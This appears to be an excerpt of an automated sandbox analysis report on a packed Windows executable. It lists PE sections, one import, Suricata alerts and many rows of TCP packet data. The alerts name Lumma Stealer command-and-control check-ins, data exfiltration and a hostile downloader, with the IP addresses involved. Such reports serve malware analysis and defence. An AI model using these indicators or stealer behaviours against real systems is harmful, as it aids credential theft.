	0x5d000	0x2a9000	0x200	8f48377bba4af375ce9647ab0347414a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dxnyvhxm	0x306000	0x19c000	0x19be00	9813bdf8f9c55ad6a7962ebcaa6c659c	False	0.9946035660091047	data	7.953432013519256	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
flsofcsd	0x4a2000	0x1000	0x400	e7960d0ab7af26a1ae8c19ab691fc3de	False	0.73828125	data	5.866471765255306	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a3000	0x3000	0x2200	889e5053a1d693e9b5bad1ef40a1adc7	False	0.06525735294117647	DOS executable (COM)	0.7527278445138303	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-17T04:38:35.053549+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-17T04:38:35.652576+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-17T04:38:35.652576+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-17T04:38:36.317768+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49704	188.114.96.3	443	TCP
2024-11-17T04:38:36.828139+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49704	188.114.96.3	443	TCP
2024-11-17T04:38:36.828139+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49704	188.114.96.3	443	TCP
2024-11-17T04:38:37.897519+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	188.114.96.3	443	TCP
2024-11-17T04:38:39.323976+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49706	188.114.96.3	443	TCP
2024-11-17T04:38:40.047245+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49706	188.114.96.3	443	TCP
2024-11-17T04:38:40.890767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49707	188.114.96.3	443	TCP
2024-11-17T04:38:42.488106+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49708	188.114.96.3	443	TCP
2024-11-17T04:38:44.414858+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49709	188.114.96.3	443	TCP
2024-11-17T04:38:48.857346+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49711	188.114.96.3	443	TCP
2024-11-17T04:38:49.407874+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49711	188.114.96.3	443	TCP
2024-11-17T04:38:50.318907+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49713	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 04:38:26.512341976 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.512639999 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.512696028 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.512742996 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.512902975 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.512959957 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.513022900 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.513365030 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.513426065 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.517467976 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.517467976 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.518536091 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.518536091 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.519129038 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.522521973 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.523427963 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.523545027 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.524030924 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.645159006 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.645330906 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.645458937 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.646408081 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.646442890 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.646483898 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.646500111 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.646866083 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.646925926 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.650909901 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.651139021 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.651284933 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.652260065 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.652354956 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.656196117 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.656250000 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.657147884 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.657386065 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.779563904 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.779599905 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.779697895 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.779802084 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.780601025 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.780693054 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.781841993 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.781893969 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.781965971 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.782093048 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.784535885 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.784765005 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.785634995 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.785873890 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.786644936 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.789992094 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.790460110 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.790693998 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.791460037 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.914345026 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.914369106 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.914520979 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.914561033 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.914990902 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.915052891 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.915159941 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.915494919 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.915546894 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.921917915 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.923333883 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.924356937 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.925380945 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.926358938 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:26.926829100 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.928227901 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.929203987 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.930318117 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:26.931195021 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.049158096 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.050332069 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.050390959 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.051204920 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.052426100 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.052469969 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.053076029 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.053242922 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.057451010 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.057904959 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.058479071 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.059456110 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.060693979 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.062354088 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.063673973 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.064315081 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.065547943 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.182233095 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.184660912 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.184756994 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.185380936 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.185816050 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.186633110 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.186700106 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.186932087 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.187556982 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.188163996 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.189286947 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.189698935 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.190222979 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.191716909 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.192948103 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.194175959 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.194530010 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.313040972 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.313949108 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.314011097 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.315119982 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.317123890 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.317177057 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.317209005 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.317248106 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.317456961 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.317511082 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.318083048 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.319215059 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.319972992 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.321981907 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.322055101 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.322916031 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.324137926 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.324815989 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.445326090 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.445347071 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.445498943 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.445517063 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.446372032 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.446430922 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.447252035 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.447274923 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.447326899 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.447755098 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.491146088 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.724018097 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.728960991 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.852014065 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.897295952 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.948256016 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.953396082 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.955872059 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.957951069 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.960802078 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.962831974 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:27.984940052 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:27.989859104 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.003808975 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.005270958 CET	443	49701	104.98.116.138	192.168.2.7
Nov 17, 2024 04:38:28.005394936 CET	49701	443	192.168.2.7	104.98.116.138
Nov 17, 2024 04:38:28.008734941 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.076755047 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.083502054 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.083599091 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.085830927 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.112394094 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.112519026 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.113300085 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.114181995 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.118174076 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.119128942 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.128180027 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.131961107 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.142301083 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.147479057 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.172996998 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.218691111 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.253758907 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.254148006 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.254228115 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.255467892 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.257988930 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.258066893 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.270872116 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.275892019 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.280797005 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.281034946 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.283215046 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.286005974 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.288136959 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.289529085 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.294608116 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.303020954 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.333522081 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.378670931 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.403100014 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.408308029 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.408428907 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.410438061 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.415611982 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.416724920 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.416802883 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.420655966 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.426438093 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.426752090 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.431308031 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.431570053 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.431678057 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.436472893 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.460995913 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.489586115 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.534605980 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.543574095 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.554241896 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.554393053 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.554398060 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.554505110 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.554557085 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.564801931 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.574429989 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.579425097 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.585649967 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.591147900 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.595213890 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.600240946 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.618030071 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.662980080 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.683353901 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.694149971 CET	49674	443	192.168.2.7	104.98.116.138
Nov 17, 2024 04:38:28.697325945 CET	49675	443	192.168.2.7	104.98.116.138
Nov 17, 2024 04:38:28.704305887 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.713565111 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.713952065 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.723308086 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.723455906 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.733032942 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.782650948 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.813185930 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.822293997 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.828036070 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.840203047 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.843570948 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.843703032 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.850393057 CET	49672	443	192.168.2.7	104.98.116.138
Nov 17, 2024 04:38:28.858468056 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.863162994 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.863404989 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.869843960 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.878052950 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.929054022 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.950082064 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.955274105 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.960730076 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.967360020 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.971133947 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.986041069 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.988466024 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.990438938 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:28.993372917 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:28.998282909 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.005530119 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.009735107 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.062642097 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.083535910 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.086142063 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.091097116 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.098890066 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.101762056 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.115693092 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.118016958 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.120723009 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.120851994 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.122735977 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.127625942 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.140955925 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.143088102 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.190521955 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.215153933 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.217781067 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.222667933 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.229147911 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.231170893 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.245527029 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.247548103 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.249989986 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.252029896 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.257000923 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.270505905 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.272856951 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.318764925 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.347649097 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.354538918 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.358705997 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.359006882 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.359527111 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.361681938 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.366643906 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.375040054 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.376861095 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.379326105 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.379502058 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.381438017 CET	49702	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:38:29.386279106 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.405776024 CET	443	49702	13.107.246.45	192.168.2.7
Nov 17, 2024 04:38:29.407696009 CET	49702	443	192.168.2.7	13.107.246.45
